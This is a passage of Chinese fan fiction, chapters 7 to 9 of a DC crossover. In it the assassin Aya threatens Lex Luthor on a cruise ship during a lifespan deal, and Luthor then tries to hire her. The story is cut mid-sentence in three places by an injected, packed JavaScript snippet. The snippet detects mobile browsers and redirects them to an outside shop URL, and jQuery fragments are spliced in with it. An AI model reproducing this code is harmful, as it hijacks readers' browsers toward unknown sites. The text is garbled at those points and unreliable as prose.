这里一层那里一层,涂涂抹抹描描画画,她就这样照着视频的操作抄作业,硬生生在脸上弄了半小时,乍一看竟然还真能初具人形,眼睛是鼻子,鼻子是嘴巴的……好吧,说实话就是新手上路,技术平平,但胜在没出大岔子,全靠那张脸撑着,竟然还有种诡异的“看得过去”的优秀水平。 小头目在一旁目睹了全程,目瞪口呆,实在没想到还有这种操作。 说真的,哪怕大半个月过去,大家都已经习惯了“阿娅小姐正在使用手机”这件事,这个场面也有点太超纲了,大致等于山顶洞人正在照着荒野求生的节目学习如何织毛衣: “真是不可思议,我以为按照大部分人的平均动手能力,您接下来应该弄个奇丑无比的东西出来才对。” “想多了。”阿娅拎起提包,又撩起裙子,试图把她心爱的两把手/枪捆在大腿上,没能成功,只好遗憾地把热武器换成了两把匕首,身上带着武器,她心里才觉得安全了些,“只要我想,就没有什么事不能成功。” 小头目在阿娅撩起裙子的那一刻,两眼就不知道往哪里看了。从他青红交加的面色来看,此人估计现在只想戳瞎自己的双眼以保全性命,否则鬼知道杜弗尔会不会突然追究这件事,只能结结巴巴道: “好……那行,就这么办!我出去等您换衣服,十分钟后出发……千万记得保护好卢瑟先生!” 等他手忙脚乱、头也不回夺门而出后,阿娅这才从一旁的衣物堆下面抽出一只手机,是她刚刚借着衣物的掩护,从这位小头目身上摸过来的,半点没惊动他。 黑发红眸的年轻女子倚在桌边,一上一下地抛着玩刚刚从小头目身上摸过来的手机,又自言自语了一遍: “只要我想,就没有什么事不能成功。” 然后阿娅打开了通讯列表,按照字母顺序往下一划,果然查到了提摩西·杰克逊·德雷克这个名字。 功夫不负有心人。这些天来,她一直跟个互联网老鼠似的,这里戳一戳,那里啃一啃,总算绕开了清算人对她有意无意的信息封锁,借助大数据的便利,抠到了一些边角信息: 好消息,自己之前的感觉没错,这家伙果然是有钱人; 坏消息,他是美国人,而阿娅本就封闭的行动范围和社交圈,更是从来没离开过欧洲。 这么说吧,要不是正义联盟打上天的瞭望塔还在那里杵着,阿娅连这个组织的全名都不知道。 于是阿娅选中了这个小头目,试图从他这里得到一些能够与提姆再度取得联系的交流手段。 众所周知,只要你能吃苦,那你就会有吃不完的苦。 同理可证,既然这个小头目,之前和莱克斯·卢瑟对接过,那么在人人都对“充满了穿着紧身戏服主持正义的太平洋警察”的美国避之不及的时候,他就肯定会被派去,继续做这边的生意。 既然提姆也是有钱人,那么,这个小头目的手里,有能联系上提姆的方式的概率,也就大大增加了。 事实证明阿娅的猜测是对的。 上帝为你关上了一扇门,就会为你打开一扇窗。 同理可证,既然阿娅的情商在人际交往和日常生活中,已经抢先占领洼地,那么在做任务的时候,她的智商就又恢复正常了。 短暂的成功给了阿娅极大的鼓励。于是,她以前所未有的信心,对着这个名字,发过去了一句在各大社交平台里,都被异口同声推荐为“最能打开局面的第一句沟通用语”的话: “在吗?” 但提姆没回复。 不仅如此,阿娅火热的自信,以及比自信更火热的对灰烬账簿的渴求,全都变成了冷冰冰的红色感叹号,好一场酣畅淋漓的两级反转。 很明显,这位小头目虽然负责和美国的潜在买家对接,但提姆半点没有从清算人这里购买寿命的意思,甚至都把人拉黑了。 这种非暴/力不合作、施加暴/力更不合作的态度,跟白送阿娅一张十年份灰烬账簿的操作,形成了鲜明对比。 但阿娅是反应不过来,“他对我格外特殊”这一点的。 以她在人际交往上,只略胜草履虫一筹的脑子,唯一能看到的事情,就是她跟提姆的沟通,以自己单方面的失败而告终。 被兜头泼了冷水,格外难以置信的阿娅:??? ——好小子!!!我记住你了,我这辈子都记得你!!! 7. Chapter 7 水晶吊灯的光从高处泼洒下来,在光洁的地面上反射出大片璀璨的光芒,又在晶莹剔透的高脚杯、光彩夺目的宝石和锃亮的家具摆设之间折射,最终化作一片令人目眩的光海,在宴会厅里沉沉浮浮。 轮盘球的哒哒轻跳,扑克牌滑过绿色呢面的沙沙声,骰子撞在赌台边缘的脆响,混合着压低的笑语、惊叹和偶尔抑制不住的懊恼低咒,汇成这片海上不夜城令人血脉偾张的背景音。 浮光魅影,奢华富丽。 多少普通人终其一生赚到的钱,甚至都无法在这些赌桌上走一遭,然而这只是“海洋绿洲”号上,再普通不过的冰山一角。 因此,有资格站在这处赌场的,无一不是人中精英。 而在这种“一砖头砸到十个人,其中有九个是亿万富翁”的情况下,如果还有人能够站在所有人之上,以居高临下的姿态品评一切、观察一切,那么,这个人就是毋庸置疑的天之骄子,十亿里挑一的幸运儿。 ——很明显,莱克斯·卢瑟就是这样一个人。 他面容瘦削,线条清晰如雕刻,高而宽的额头下,是一双幽绿的、狼一样的眼睛。 不管以什么标准来判断,他都算不上英俊,甚至因为有一个寸草不生的光头,而显得愈发病态、古怪。 然而,一旦把他的身家财富,也衡量进这个判断标准里的话,那么莱克斯·卢瑟无疑是世界上最英俊的人之一。 哪怕眼下,卢瑟只是端着一杯再简单不过的冰水,站在赌场二层环绕平台的阴影里,前来找他攀谈的人也络绎不绝: “卢瑟先生,之前说的那笔交易,您看……” “听说下个月哥谭有一场地下拍卖会,将拍卖一些有意思的小玩意儿。如果你对此感兴趣,请务必联系我。” “先生,这是那边的女士们给您送的酒。” “怎么能让你一个人在这里呢?这些小妞儿真没眼色。来吧,兄弟,我带你去找点乐子。” 他不在这里时,这只不过是赌场里采光不好的角落之一;他现在站在这里,于是不多久,此处便往来者众,宾客云集。 这个局面对想要和卢瑟社交的人来说,很友好,但对某些想要暗中和他取得联系的人来说,就没那么乐观了。 就比如正站在一楼大厅角落里,正借着建筑和采光的死角,把自己隐藏起来的阿娅,和负责协助她的小头目。 在雅典人没有现身时,阿娅也不会贸然露面,毕竟眼下他们正置身俄罗斯,在敌人的地盘上,当然要谨慎行事。 ——但此时,游轮已经起航一小时了。 有人已经在赌桌上,输掉了半片非洲大陆的一年GDP;有人痛饮美酒,醉得不知今夕何夕;更有人携女伴悄然退场,明摆着要去搞一些不允许发生的脖子以下的事情。 直到此时,雅典人还是没有出现,小头目的思考重点才终于发生了变化: “有没有可能,这是个陷阱?他们放出假消息,说要在海洋绿洲号上商讨生意,事实上是要把我们困在这里?” 阿娅虚心求教:“哇,我竟不知道,你也有被如此重视的潜力。” 小头目怒从心头起,恶向胆边生,一时间只想解下铜头皮带,把这个狂妄的狗比同僚抽得如陀螺般旋转——开玩笑的,他怎么敢呢,哈哈,只是想想过过瘾都让人觉得格外心虚——最后只能不情不愿地更正道: “……好吧,好吧,说得精确一点,如果雅典人真的布下了陷阱,那么他们唯一的目标只有您!” “但如果他们真是这么打算的,那么他们要谋划的,就必然是格外可怕的东西。您少安毋躁,我去联系接应人员,核实情况。” 正在小头目想要用特制的、在公海上航行都能有满格信号的联络器,和同僚们取得联系时,阿娅突然叫停了他所有的动作,因为一道陌生的身影,已经如鬼魅般,突然出现在了卢瑟的身边: “等等,不用了。” “那是雅典人的苏斯金,我认得他。”① 小头目闻言,先是松了一口气,随即又提起一口气来,只觉这颗心在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016351|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸膛里跳得上上下下、忐忐忑忑、好不热闹: 很难说他是觉得,“太好了,雅典人在船上,这不是个陷阱,我不会被卷进争端,保全了这条小命”,正因此欣喜;还是觉得“天塌了,阿娅小姐为什么跟敌对阵营的家伙看起来关系不错的样子,等汇报任务首领问起来的时候,我会不会又成为这两人PLAY的一环”,正在心底痛骂所有不当人的领导和领导二代。 但不管是杜弗尔还是阿娅,都是他得罪不起的。 于是到头来,小头目也只能迁怒骂一句卢瑟。 因为卢瑟选的那个位置太刁钻了。离他太近,就没有办法纵观全场,保证自己的安全;但离他远一些,就会被挡在这一圈来跟他社交的人外面: “这家伙是什么父母双亡缺爱自闭的天才孤儿吗,非要选这么个位置?真难为这些普通人怎么找过来的。” 阿娅冷静解答:“可能因为他的光头反光,明亮如灯塔坐标。” 刚刚还憋了一肚子火的小头目,突然觉得自己的苹果肌正在不受控制地做引体向上: 住嘴啊,死嘴,不要笑!想想你的任务,想想首领的喜怒无常,想想……哈哈,反光!!! 正在他一个没憋住,笑出来的当口,阿娅已经轻盈如一尾游鱼般,从他身边离开了。 望着阿娅远去的背影,小头目突然就不生气了。 他不仅不生气了,甚至觉得有些微妙的可惜与同情: ……哎,真是世事无常,造化弄人。 如果阿娅小姐不是首领的养女,如果她不是清算人暴徒,按照她这种面无表情一本正经说怪话的性子,当她只是个普通人时,该是多么年轻、聪明、漂亮又快活的好姑娘啊。 这个危险的想法,只在他的脑海里停留了很短暂的一瞬息,就倏忽消失,再也不见,半点痕迹也不剩下。 因为阿娅已经直直走到了灯光下,穿过众人正在翩翩起舞的舞池,如一柄出鞘的、迎面劈来的利剑,一路目不斜视,径直走到了莱克斯·卢瑟的面前。 8. Chapter 8 莱克斯·卢瑟觉得很无聊。 说实话,当你有钱到了某种程度后,是真的会觉得,做什么都很无聊的: 想要什么就有什么,想做什么就一定能成功。所谓的梦想和热血,都是可以明码标价买到的东西,整个世界对你来说都唾手可得,你还有什么好去努力的呢? 他心不在焉地应付着前来和他攀谈的人们,锐利如鹰隼般的眼扫过一具具被美衣华服包裹着、被珠宝首饰装点着的身躯,掠过楼下无数张因酒精或胜利而涨红的脸庞,只觉难以控制的厌倦涌上心头。 他居高临下地俯视着这些人,便宛如观看在丝绸里蠕动的蚕和蛆,因为不管是辛勤劳作的益虫还是食腐昆虫,在他眼里都没区别: 只是一句不走心的回答,就能引得这么多人如蒙大赦、欣喜若狂……真是太无趣了,怪不得那么多富豪最后都走上了变态的道路。 幸好卢瑟可以骄傲地认为,自己不是变态。 毕竟他这辈子唯一热衷的、持之以恒的兴趣,就是对付超人。 而超人显然是个智力正常、武力爆表的成年男人……成年外星人,能和卢瑟打得有来有回,这可比他的“朋友”们,把暴虐和摧毁的欲望,发泄在毫无反抗之力的小女孩们身上,健康多了。 简而言之,他不违法,但他实在缺德。 而今天,富有的、缺德的、秃头的、无聊的卢瑟,遇到了一个让他竟然能提起兴趣的人。 ——你从水中经过,我必与你同在;你趟过江河,水必不漫过你;你从火中行过,必不被烧,火焰也不着在你身上。① 谁也没反应过来,她是怎么出现在舞池里的。 不,说得再准确一点,她都已经横穿过整个舞池了,这种半点不顾周围人眼光的、我行我素的行为,明明应该引起无数人的注意,却除了被她注视着,因此感受到了危险的卢瑟本人之外,愣是没有一个人注意到她。 她黑色的中长发束成马尾,垂在一侧,身着一袭黑色缎面吊带长裙,上身剪裁贴合,下摆弧度流畅,随着她的步伐,荡漾得如水波般轻盈。 除去一对及肘的黑色长手套外,她的身上再无别的装饰,连最普通的耳环、项链和手镯都没有。 如果不看她左眼眼角,那像是胎记又像是纹身,呈放射形蔓延开来的灿金色纹路,那么,她就不光没有珠宝,甚至连妆容都平平无奇得堪称寡淡。 这样简单得近乎寒酸的装扮,如果出现在随便别的什么人身上,只会叫人嘲笑“不会穿衣服的穷鬼”;但放在她身上,便只让人有一个感想: 她的确不需要这些累赘的外物以妆点自身。因为她周身萦绕着的,那种似乎能斩断一切、摧毁一切又重建一切的锐气,已使她熠熠生辉,骄傲夺目如大星,无人敢端详,更无人敢攫其锋芒。 而在她抬起头来,隔着大半个舞池、攒动的人头和明光浮沉的灯海,准确地望向卢瑟的时候,便仿佛当头一刀,锐不可当,避无可避。 即便卢瑟不是什么虔诚的基督教徒,然而这一刻,他的脑海里,竟只剩下这样的词句: 三位天使吹号,就有烧着的大星好像火把,从天上落下来。 哎,明亮之星,早晨之子啊,你竟从天坠落!你的心为何将你逼去?你的眼为何冒出火星?② ——危险逼近了,大星落下来了。 赌场区域喊声震天,觥筹交错;舞池内裙摆飘飘,轻歌妙舞;大厅内比肩接踵,衣香鬓影。 多么热闹的尘世的图景,多么令人沉醉的富丽。 然而她穿行其中,却轻盈得像一缕没有实体的烟,一片随风转折的羽毛,一个永远不会被人注意到的幽灵。 一个醉醺醺的胖子正踉踉跄跄从赌桌旁跌出来,眼看着就要扑到她身上了,她却只是微微一侧身,便行云流水从这人身边掠过,甚至还让出了一个绝妙的位置,让大惊之下前来搀扶贵客的侍应生,能够刚好将此人扶起: “先生,您没事吧?我带您去醒醒酒。” 这胖子酒还没醒,只不停地嘟囔和抱怨自己今晚的坏运气,全部心神都放在了赌桌上,看来很想不知死活地再回去玩两把,想要一战翻身回本。 侍应生也被他吓得出了一身冷汗。如果让贵客在自己的眼皮子底下摔个大马趴,今天他在地上摔得有多惨,等游轮靠岸的时候,被解职的自己只会摔得有过之而无不及。毕竟贵客的身体和精神都不能摔在地上,这样他们才能舒舒服服、心甘情愿地继续掏钱啊! 两人相视一笑,插曲瞬间平息。 如此一来,不管是巧合还是有意,本来就因为种种诡异的原因,没能注意到她的人,更是直接把她忽略过去了,半点都没注意到,自己身边刚刚经过了一个看起来特别突兀的人。 更令人毛骨悚然的是,这个小插曲,甚至都没有改变她平稳的、坚定的、笔直的脚步,连带着她垂在脸旁的发丝,都不曾多动哪怕一分。 ——这大星落在江河的三分之一和众水的泉源上,众水因此变苦,就死了许多人。 卢瑟能注意到的异常,雅典人自然也能注意到。 而雅典人此次派出的精锐干员苏斯金,曾在机缘巧合下和阿娅打过交道。 说得再明白一点,他不光认得阿娅这张英丽明艳、但因杀气过盛让大部分人都不敢记得的脸,更知道她直来直往的行事方式。 于是苏斯金耸了耸肩,立刻终结了和卢瑟刚谈到一半的生意。 他起身的动作那叫一个干脆利落,活像有人在背后举着刀,磨刀霍霍要割他腰子: “好吧,看来我们的老对手派出了他最得意的心肝宝贝。” “那么接下来的谈话就不是我能参与的了,卢瑟先生,等您和她谈完后,我再过来。” 如果说之前,卢瑟只是对这个身手敏捷、气场强大、却不知道为什么愣是能不被任何人注意到的漂亮姑娘,有十分的兴趣,在苏斯金表现出“避其锋芒”的态度后,他对她的兴趣,就飙升到了一百二十万分: “何必这么着急呢,先生?没有人会在海洋绿洲号上动手的。” 苏斯金呵呵冷笑:“难说。” 卢瑟倒是持反对意见,他对此很有信心。 因为在他看来,不管是清算人还是雅典人,都是给某些至高的可怕存在打工的打工人,而他又正好是亿万富翁、企业家。 这说明什么?说明他对打工人“拿多少钱做多少事”、“下班等于出狱”、“恨不得天天带薪上厕所”的心理活动,已经把握得炉火纯青。 而这样的一群打工人,是没有必要冒着风险,在这种地方大动干戈的。 于是卢瑟自信道:“现在,海洋绿洲号已驶入公海,远离大陆,雷达信号显示,周围也没有能来接应的人。” “先生,谁要是在这里动手,谁就是想要和敌人同归于尽的疯子。” 苏斯金看了一眼越来越近的阿娅,觉得头皮有点发麻: “你要找疯子吗,卢瑟先生?太巧了,这里就有一个,而我绝对没有说你的意思。” 说完,他便一跃而起,在众人诧异不解的注视下,连滚带爬地夺门而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016352|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 也正是在他的身影消失在二楼的那一刻,黑发红眸、眼角纹有璀璨金芒的女子,在卢瑟的面前坐了下来。 在坐下来后,她才看似有礼地象征性询问了一下: “你好,卢瑟先生,我可以坐在这里吗?” 卢瑟有些被气笑了。 他刚想说“你坐都坐下来了才问这个,是不是晚了一些”,然而在这句调侃说出口前,他的眼睛和大脑,便抢先向他发出了警告: 这不是普通的女人,也不是普通的间谍、刺客等,以轻盈灵巧闻名的专业人士。 她坐下时的姿态堪称放松,甚至有些慵懒,与楼下那群绷紧了神经的赌客形成鲜明对比。 但卢瑟注意到,她的脚尖始终指向一个可以最快转向任何方向的角度,肩背的线条在松弛中,也保持着奇异的、随时可以爆发的弹性。 不仅如此,在她坐下来的那一刻,周围若有若无的好奇目光,竟然渐渐消失了。 仿佛有一只无形的大手正在调整所有人的注意力,在由金钱、酒精、权力和地位描摹出来的这幅华美的画面上,陡然出现一把刀,一把能吹毛断发的、锋利的刀,正在将这一片区域慢慢割下。 ——我若磨我闪亮的刀,就必报复我的敌人。我的刀要吃肉,乃是仇敌中首领之头的肉。③ 和上来后,至少遵守了正常人的社交礼节,礼貌地进行了一下问候和套近乎的苏斯金不同,这位气场凛然、相貌端丽的不速之客,自从坐下后,只说了三句话: “我叫‘阿娅’,隶属于清算人。” “他刚刚跟你做的所有生意,我们清算人也都能做。” “综上所述,请优先考虑我们,卢瑟先生,如果你拒绝,我就只能十分遗憾地把你砍死在这里。” 没有一个脏字,甚至还用了十分礼貌的、“请”“遗憾”之类的字眼,但被阿娅这么一表达,传递出来的让人七窍生烟的感觉,就从十分变成了十万分。 卢瑟已经不是“有些被气笑了”,他是真的被气笑了,并十分好奇,清算人的首领是不是色令智昏,才派这么个狂暴大猩猩来谈生意: “阿娅小姐,你觉得如果我死在游轮上,我的势力能放过你么?” 阿娅轻轻掀动了一下睫毛,自下而上注视着他。 明澈得近乎寒冷的目光,从她那对浓密如羽扇的睫毛后投射过来,一瞬间,竟让人有种被锋利的刀刃当胸剖开的刺痛错觉: “你会答应我的,卢瑟先生,因为我将给出一个你绝对无法拒绝的条件。” 伴随着阿娅的话语,二十万吨的游轮突然微不可查地震动了一下。 这一下实在太微小了,微小得让还在忙着寻欢作乐的人们,完全无法察觉,却能让逐渐绷紧了神经的卢瑟,刹那间停止呼吸。 他瞳孔震动之下,只听阿娅又继续道: “如果莱克斯·卢瑟死在海洋绿洲号上,的确会让你的势力进行疯狂反扑;但如果海洋绿洲号被炸沉了,那么全世界都会为此震动,认为这是一次有预谋的恐怖组织袭击。” “全球势力大洗牌之下,清算人得到的,只会更多,你的势力失去的,也只会更多。届时,又有谁能为你伸张正义,主持公道呢?” 这一刻,毛发倒竖——不对,应该说汗毛倒竖,因为某人的光头上寸草不生——的卢瑟,终于感受到了无聊和厌倦之外的,别的东西。 这种东西成分很复杂,但总地来说,可以归纳为两种情绪: 第一,好奇; 第二,恐惧。 9. Chapter 9 厚重的木门隔开了来自外界的喧嚣,一丝杂音也无。 窗明几净的会议室的空气中,浮动着顶级陈年干邑特有的香醇。 然而同时浮动着的,还有某种比昂贵的美酒更浓郁的东西,那就是阿娅的杀意。 哪怕莱克斯·卢瑟,在意识到“这真他妈是个会炸沉游轮同归于尽的疯子”的下一秒,就双手高举过头,表现出了百分之一千的合作意愿,结果他和清算人都坐在专门的会议室里,正儿八经地开始讨价还价了,阿娅的杀意也没有减淡半分。 卢瑟不适地往左挪了挪。 阿娅的注视如影随形。 卢瑟僵硬地蠕动回了原地。 阿娅的目光也随之移动。 卢瑟忍无可忍,简单地、克制地怒了一下:“……阿娅小姐,你到底在看什么?” 阿娅认真道:“在你落笔签字之前,我会一直一直盯着你的。” 卢瑟已经不太想跟这个明摆着听不懂人话的家伙沟通了。 他转向小头目,和善而咬牙切齿地问道:“你们首领派她来,是真心想要跟人谈生意的吗?” 小头目已经被阿娅如此简单粗暴,但行之有效的“交易手段”给惊呆了。 他把自己之前说过的话来来回回在脑子里倒腾了三遍,才确定自己的确说过“保护莱克斯·卢瑟安全”这样的话,不由得喃喃道: “……阿娅小姐,咱们一开始说好的,不是这样的吧?” 卢瑟在得到这个答案后,立刻转向阿娅,怒气冲冲又惊疑不定地质问道: “所以你没有在游轮底仓里放几百吨炸药,对吧?” 阿娅诚实道:“的确没有,那太贵了。我正戴罪在身,停职查看,可供我调遣的人和资源几近于无,为什么要自费上班呢?” 觉得自己被愚弄了的卢瑟怒而拍桌:“岂有此理!你——” 阿娅继续道:“但我放了三只剑齿兽,十条幼妹。” 发现卢瑟一脸迷茫,明摆着对这两种无形之术制造出来的怪物的底细,一无所知;而且旁边的小头目也半懂不懂的,显然乖乖受杜弗尔“清算人不得进入漫宿,不得追奉司辰”的禁令束缚,也同样不知道这两种怪物有何等杀伤力,于是阿娅贴心解释道: “剑齿兽是名为‘狮子匠’的司辰的产物。它们很难被杀死,而且寿命极长,活动的时候,能引发地震。这三只剑齿兽是我的得意之作,每只都能引发十级地震。”① “幼妹是与名为‘蚁母’的司辰有亲缘关系的巨蛇。它齿若石笋,口若血盆,舌头的厚度堪比人的肩膀,身长足以缠绕房屋。我在制造这十条幼妹的时候,参考了尘世巨蟒耶梦加得的尺寸和力量,每一条都能生吞鱼雷并毫发无伤。” 说完,阿娅想了想,又给出了等量代换出来的,更加明确的结果,真是太贴心了: “简而言之,约等于我放了一枚小型核弹在船舱里,这可比单纯放炸药要高效和省钱多了。” 此言一出,卢瑟又面色苍白、冷汗涔涔地坐下了,属实是能屈能伸。 与此同时,终于后知后觉听懂“剑齿兽”和“幼妹”有多危险的小头目,也发自肺腑地惨叫了起来: “阿娅小姐!你下次行动之前,请务必把你要去哪里、做什么,完完全全一点不漏地告诉我们所有人!” 阿娅觉得自己很无辜,真是好心被当成驴肝肺:“我告诉你们了啊。” 小头目气若游丝:“有吗?什么时候?” 阿娅:“刚刚。” 小头目和卢瑟对视了一眼。 这一刻,两人竟然抛弃了身份、阵营、贫富、国籍等种种因素,达成同一共识: 有没有人能来把这个小混蛋抽一顿啊,最好把她抽得像陀螺一样旋转!就这样一路旋转跳跃闭着眼,从欧洲横跨到南极洲去,这辈子都不要回来! 然而不管这两人的内心如何崩溃呐喊,至少明面上,大家都保住了平稳的表象,开始有来有往地商讨生意: “……不行,我们最多只能出售给您十年。” “区区十年,能用来做什么?伟大的科学发明、跨时代的科技飞跃,所耗费的时间无不以数十年、数百年为单位,你们却只卖给我区区十年?这跟卖给准备攀登珠穆朗玛峰的登山客,一根只能在海拔两百米以下的平原地区使用的登山杖一样,根本没什么用!” “当然,当然。如果您手头有足够的金钱、政治和军事资源,我们可以相应放宽出售给您的寿命年限。让我们打开天窗说亮话吧,卢瑟先生,你最多想要购买多少年的寿命?” “如果我说越多越好,上不封顶,会不会显得太贪婪了?” “……哈哈。您去跟阿娅小姐坐一桌。” 两人对视一眼,同时露出了一模一样皮笑肉不笑的假笑,随即又同时看向阿娅,明摆着在等她说点什么,好让双方都有台阶可下,也能以她那过分强悍的武力值,确保一下本次交易的底线。 但阿娅什么也没说。 她只专心摩挲着面前的水杯,一瞬不瞬地注视着杯中的清水,以及在水中浮浮沉沉,发出轻微碰撞声的冰块,专注得像是在看水火不容的仇敌,又像是在看生死相许的爱人。 这么描述听起来似乎很美好,但如果放在现实中,就有点瘆人了: 一个刚刚还在说要炸掉游轮的反社会、反人类的杀手,眼下突然沉浸在了她自己的世界里,怎么叫都叫不出来。 无奖竞猜,她接下来是会被害妄想症发作,突然暴起,开始无差别砍瓜切菜一样砍人,顺便让舱底的那十几只怪物同时发动起来配合她,还是会一直这么乖巧、安静而无害地沉默下去? 谁敢赌?正常人多半是不敢赌的,因为赌输了,自己的小命也该丢了。眼下最保险的做法,就是赶紧谈完生意,让她自个儿阵营的人把她给弄下船去。 但卢瑟不是正常人。 他望着正在魂游天外的阿娅,突然心头一动,只一瞬间,就有了个大胆的想法,甚至把这个想法的利弊,都一并在脑海里过完了: 看她的行事作风,应该是专门培养出来的“武器”,所以才会对人情世故一窍不通,却又拥有如此可怖的、非人的力量。 但她又说自己是戴罪之身,这个小头目也没有反驳,所以她才会从一线外勤部门,被调到这种负责人情往来、交易纠纷等各种琐碎事务的地方。 可如果我想买下她呢?如果我想让这把刀为我所用呢?如果我想让清算人的“阿娅小姐”,变成莱克斯·卢瑟的“贴身保镖”呢? 用脚趾头想想都能得出答案,没有任何一个时间,比现在更划算了! ——莱克斯·卢瑟,含着金汤匙出生的亿万富翁,和普通人的生活的距离太过遥远,从他出生至今的数十年间,都没有过“去超市疯狂抢购打折商品”的经验。 ——但这不妨碍他对阿娅的价值做出相应判断,因为逐利是商人的本能,追逐力量和强权,又是人类的本能。 总之,等阿娅意识到此间的氛围过分安静,抬起眼来的时候,就对上了卢瑟若有所思的眼神。 小头目不知道什么时候已经被支开了,眼下整个会议室里,只有阿娅和卢瑟面面相觑。 卢瑟的指尖在光滑的桌面上轻轻划过。 他阅尽人类乃至外星科技的巅峰与禁忌,但清算人给出的如此玄妙的,能够将“寿命”量化成数字,并记成账簿进行交易的方法,还是让他产生了危险的兴趣。 而阿娅既然能被派来进行交易,那么,她就肯定也懂得,如何使用这份力量。 也就是说,如果真的能把阿娅买到手,就等于出一份的钱,同时拿到两样东西!世界上还有比这更划算的交易吗? 于是卢瑟看向阿娅的眼神里,便难以自抑地带上了一份狂热,而这份狂热换在以往,只在他与超人针锋相对时出现过: “的确是很令人惊叹的……产品,阿娅小姐。原谅我,姑且将你们的灰烬账簿称为‘产品’吧,因为在现有的语言体系里,竟然没有一个词语,能用来形容它的非凡与奇妙。” “但买家要如何确认,买来的时间属于自己,而非某种精巧的幻象?” 阿娅想了想,发现想要跟非无形之术修习者解释司辰和寿命的这一档子破事,真的太麻烦了。 她前所未有地怀念起,能够正常沟通,还知道“等价交换”的提姆,连带着也没给卢瑟什么好脸色,属实是人比人气死人: “信不过的话,您可以不做这笔生意。” 卢瑟突然意味深长地笑了一下。 这个笑容浅得几乎没有牵动唇角,却愈发显出他眼里澎湃汹涌的志在必得。 之前,卢瑟会在阿娅的威胁下手足无措,只是因为从来没见过这种一言不合,就要跟人同归于尽,哪怕闹得全球风云变幻也在所不惜的疯子。 但一旦看穿了阿娅作为“武器”的本质,那么,他天才的头脑就要重新逐渐占据上风: “我刚刚听你的同僚说,十年份的灰烬账簿,有着能够让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016353|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人起死回生的妙用。如果我自愿成为试验品的话,你能为我现场演示一下么?” 阿娅觉得这句话里似乎有圈套,但还是诚实道: “他说的没错。只要在黎明时分点燃十年份的灰烬账簿,就能治愈一切伤口,哪怕人都已经被剁成肉泥了,只要魂魄尚未前往虚界,也一样能把人抢救回来,眨眼间变得生龙活虎。” “如此珍贵的东西,我手头怎么可能有多余的存货?” 卢瑟闻言,身体前倾,目光锐利如冰锥,试图刺破她平静的表象:“阿娅小姐,你看,这对你来说未免太不公平。” “你经手了多少人的寿命,一百人,一千人,一万人?你又售卖过多少岁月,十年,一百年,一千年?这么多比黄金都要珍贵的东西,从你的手上流淌过去,你却什么都不曾留下,可见清算人对你并不好。” “你的姓名、权力和地位,全都来自首领的恩赐。他要你生,你便生;他要你死,你便死。一个连性命都没有办法握在自己手里的人,有什么‘活着’可言?” 阿娅突然沉默了一下。 她在遇到提姆之前,从来不曾疑惑过这个问题;在偷吃了那一张十年的灰烬账簿后,才悄然滋生出叛逆的想法。 以至于眼下,当同样萍水相逢的莱克斯·卢瑟,竟然也能说出类似的话语时,阿娅的内心,竟然呈现出一种诡异的平静: 为什么人人都看得出来,可我却一无所知? 如果他再来的早一些,我是不是会真的被他说动? 卢瑟见阿娅沉默不语,还以为是自己的挑拨离间起到了作用,试图乘胜追击:“但如果你来我这里,阿娅小姐,我将保证,你能得到的东西只会更多。” 卢瑟有种莫名的预感,这个小混蛋的可怖武力、她在无形之术上的造诣、她一旦认准了目标就绝对不会更改的意志……无一不合用,无一不超群。 好一件价值连城的人形兵器!竟把他实验室里的那些超人克隆体,都衬得相形见绌了。 他是商人,他从来不做亏本的生意。同时,一个合格的商人自然知道,如果想要换得此种珍宝,就要开出足够有诚意的条件,比如—— 他话锋一转,声音压得更低,如同毒蛇吐信,巨大的古蛇正在嘶嘶诱惑着那女子摘取树上的禁果: “只要你愿意改换门庭,为我所用,哪怕只是短暂地跟我签上几年的雇佣合同,我都会让你过得比在清算人好一万倍。” “为我工作吧,阿娅小姐。你不必再经手这些繁琐的交易,更不必亲身涉险,只负责我的人身安全,时不时为我解决一些小麻烦即可。作为报酬,我将分享给你金钱、权力和寿命,如果你还有别的想要的东西,只要你开口,我就一定能为你取来。” “我和清算人的交易已经结束了。我用一件‘秘密武器’,和卢瑟科技公司2%的股份,换得五年寿命,但我和你的交易才刚刚开始。你意下如何?” 这次,阿娅沉默的时间比以往任何一次都要久。 她似乎在认真考虑卢瑟的条件,又好像在怀念什么人,最终,她抬起头,对着志在必得的卢瑟微微地笑了起来。 这一笑之下,她眼角灿金的纹路也随之弯曲、蔓延,如大星携光焰从天而降,绮丽又明艳,映得她红宝石般的双眸里,竟然萌生出一点前所未有的生机: “不久前也有人跟我说过同样的话,但他给出的条件比你更好,甚至没要求我为他卖命,也没有取走我的任何东西。” 